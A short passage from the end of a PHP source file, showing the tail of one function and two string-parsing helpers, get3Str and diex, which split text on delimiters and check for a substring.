7736 return join(" | ", $ret);
7737}
7738function get3Str($str1, $str2, $str3, $str)
7739{
7740 $s = explode($str1, $str);
7741 if (count($s) < 2)
7742 return $s[0];
7743 $s = explode($str2, $s[1]);
7744 if (count($s) < 2)
7745 return $s[0];
7746 $s = explode($str3, $s[1]);
7747 return $s[0];
7748}
7749function diex($str,$explode,$find)
7750{
7751 $str = explode($explode,$str);
7752 if(strpos($str[1],$find))
7753 {
7754 return 'ok';
7755 }
7756 else
7757 {
7758 return 'fail';
7759 }
7760}
7761?>